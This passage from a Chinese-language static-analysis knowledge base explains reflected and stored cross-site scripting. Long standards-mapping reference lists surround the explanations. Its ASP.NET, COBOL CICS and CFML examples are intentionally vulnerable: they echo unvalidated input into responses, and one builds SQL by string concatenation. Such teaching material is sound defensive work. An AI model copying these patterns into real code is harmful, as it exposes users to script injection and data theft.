[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.apex.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

示例 1:下面的 ASP.NET Web 表单会从 HTTP 请求中读取一个雇员 ID,并将其显示给用户。

<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>


其中,LoginEmployeeID 为表单控件,定义如下:


<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
示例 2:下面的 ASP.NET 代码片段显示了如何以编程方式实现Example 1.的功能的方法。

protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;


如果 Login 只包含标准的字母或数字文本,上面两个示例中的代码就能正确运行。如果 Login 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢? 真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者单击链接。当受害者单击该链接时,就会不知不觉地通过易受攻击的 Web 应用程序,使自己的电脑蒙受恶意内容带来的风险。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

示例 3:以下 ASP.NET Web 表单可根据一个给定的雇员 ID 来查询数据库,并输出相应雇员姓名。

<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>


其中,EmployeeName 为表单控件,定义如下:


<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
示例 4:下面的 ASP.NET 代码片段实现的功能与Example 3 等效,但会以编程方式实现所有表单元素。

protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;


Example 1Example 2 中所示,如果 name 的值正常,则这些代码示例可以正确运行,但如果这些值不正常,则这些代码示例将无法阻止漏洞利用。另外,这些代码示例可能会看起来不太危险,因为 name 的值是从数据库中读取的,而数据库的内容明显由应用程序管理。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1Example 2 中所示,系统会从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 3Example 4 中所示,应用程序会将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。

许多现代 Web 框架都会提供对用户输入执行验证的机制(包括 ASP.NET 请求验证和 WCF)。为了突出显示未经验证的输入源,Fortify 安全编码规则包会对 Fortify Static Code Analyzer(Fortify 静态代码分析器)报告的问题动态重新调整优先级,即在采用框架验证机制时降低这些问题被利用的几率并提供指向相应证据的指针。对于 ASP.NET 请求验证,我们还会提供有关何时明确禁用此验证的证据。我们将这种功能称之为上下文敏感排序。为了进一步帮助 Fortify 用户执行审计过程,Fortify 软件安全研究团队开发了 Data Validation(数据验证)项目模板,该模板根据应用于输入源的验证机制按文件夹对问题进行了分组。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Anti-Cross Site Scripting Library MSDN
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.dotnet.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。

2. 未检验包含在动态内容中的数据,便将其传送给了 Web 浏览器。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:下面的代码片段可在一个 HTML 表单中读取雇员 ID,EID,并将其显示给用户。


...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.

EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...


如果 EID 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 EID 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

例 2:下面的代码片段会根据一个特定的雇员 ID 来查询数据库,并显示出相应的雇员姓名。


...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.

EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...


如同Example 1,如果对 ENAME 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 ENAME 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 ENAME 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Stored XSS,它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并且更可能使此攻击影响到多个用户。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTML 表单中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。当攻击者有以下行为时,将会发生 Stored XSS 漏洞利用:

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.cobol.cross_site_scripting_reflected
Abstract
向一个 Web 浏览器发送未经验证的数据会导致该浏览器执行恶意代码。
Explanation
Cross-Site Scripting (XSS) 漏洞在以下情况下发生:

1. 数据通过一个不可信赖的数据源进入 Web 应用程序。对于 Reflected XSS,不可信赖的数据源通常为 Web 请求,而对于 Persisted(也称为 Stored)XSS,该数据源通常为数据库或其他后端数据存储。


2.未经验证但包含在动态内容中的数据将传送给 Web 用户。

传送到 Web 浏览器的恶意内容通常采用 JavaScript 片段的形式,但也可能会包含一些 HTML、Flash 或者其他任意一种可以被浏览器执行的代码。基于 XSS 的攻击手段花样百出,几乎是无穷无尽的,但通常它们都会包含传输给攻击者的私有数据(如 Cookie 或者其他会话信息)。在攻击者的控制下,指引受害者进入恶意的网络内容;或者利用易受攻击的站点,对用户的机器进行其他恶意操作。

例 1:接下来的 CFML 代码片段将从一个 Web 表单中读取雇员 ID,eid,并将其显示给用户。


<cfoutput>
Employee ID: #Form.eid#
</cfoutput>


如果 Form.eid 只包含标准的字母或数字文本,这个例子中的代码就能正确运行。如果 Form.eid 中的某个值包含元字符或源代码,则 Web 浏览器就会在显示 HTTP 响应时执行该代码。

起初,这个例子似乎是不会轻易遭受攻击的。毕竟,有谁会输入导致恶意代码在自己电脑上运行的 URL 呢?真正的危险在于攻击者会创建恶意的 URL,然后采用电子邮件或社交工程的欺骗手段诱使受害者访问此 URL 的链接。当受害者单击这个链接时,他们不知不觉地通过易受攻击的网络应用程序,将恶意内容带到了自己的电脑中。这种对易受攻击的 Web 应用程序进行盗取的机制通常被称为反射式 XSS。

例 2:下面的 CFML 代码片段将根据一个给出的雇员 ID 从数据库中查询该雇员,并显示出该雇员的相应姓名。

 
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>


如同Example 1,如果对 name 的值处理得当,该代码就能正常地执行各种功能;如若处理不当,就会对代码的漏洞利用行为无能为力。同样,这段代码看似没那么危险,因为 name 的值是从数据库中读取的,而且这些内容显然是由应用程序管理的。然而,如果 name 的值来自用户提供的数据,数据库就会成为恶意内容传播的通道。如果不对数据库中存储的所有数据进行恰当的输入验证,那么攻击者就可以在用户的 Web 浏览器中执行恶意命令。这种类型的漏洞利用称为 Persistent XSS(或 Stored XSS),它极其隐蔽,因为数据存储导致的间接行为会增大辨别威胁的难度,并使多个用户受此攻击影响的可能性提高。XSS 盗取会从访问提供留言簿 (guestbook) 的网站开始。攻击者会在这些留言簿的条目中嵌入 JavaScript,接下来所有访问该留言簿页面的访问者都会执行这些恶意代码。

正如例子中所显示的,XSS 漏洞是由于 HTTP 响应中包含了未经验证的数据代码而引起的。受害者遭受 XSS 攻击的途径有三种:

- 如Example 1 中所示,系统从 HTTP 请求中直接读取数据,并在 HTTP 响应中返回数据。当攻击者诱使用户为易受攻击的 Web 应用程序提供危险内容,而这些危险内容随后会反馈给用户并在 Web 浏览器中执行时,就会发生 Reflected XSS 漏洞利用。发送恶意内容最常用的方法是,将恶意内容作为一个参数包含在公开发布或通过电子邮件直接发送给受害者的 URL 中。以这种手段构造的 URL 已成为多种网络钓鱼阴谋的核心,攻击者会借此诱骗受害者访问指向易受攻击站点的 URL。该站点将攻击者的内容反馈给受害者后,便会执行这些内容,接下来会将用户计算机中的各种私密信息(比如可能包含会话信息的 Cookie)传输给攻击者,或者执行其他恶意活动。

- 如Example 2 中所示,应用程序将危险数据存储在数据库或其他可信赖的数据存储中。这些危险数据随后会被读回到应用程序中,并包含在动态内容中。在以下情况下会发生 Persistent XSS 漏洞利用:攻击者将危险内容注入到数据存储中,而这些危险内容随后会被读取并包含在动态内容中。从攻击者的角度看,注入恶意内容的最佳位置莫过于显示给许多用户或显示给特定相关用户的区域。这些相关用户通常在应用程序中具备较高的特权,或者可以与敏感数据交互,这些数据对攻击者来说具有利用价值。如果某一个用户执行了恶意内容,攻击者就有可能以该用户的名义执行某些需要特权的操作,或者获得该用户个人敏感数据的访问权。

— 应用程序之外的数据源将危险数据储存在一个数据库或其他数据存储器中,随后这些危险数据被当作可信赖的数据回写到应用程序中,并储存在动态内容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] ColdFusion Developer Center: Security Macromedia
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
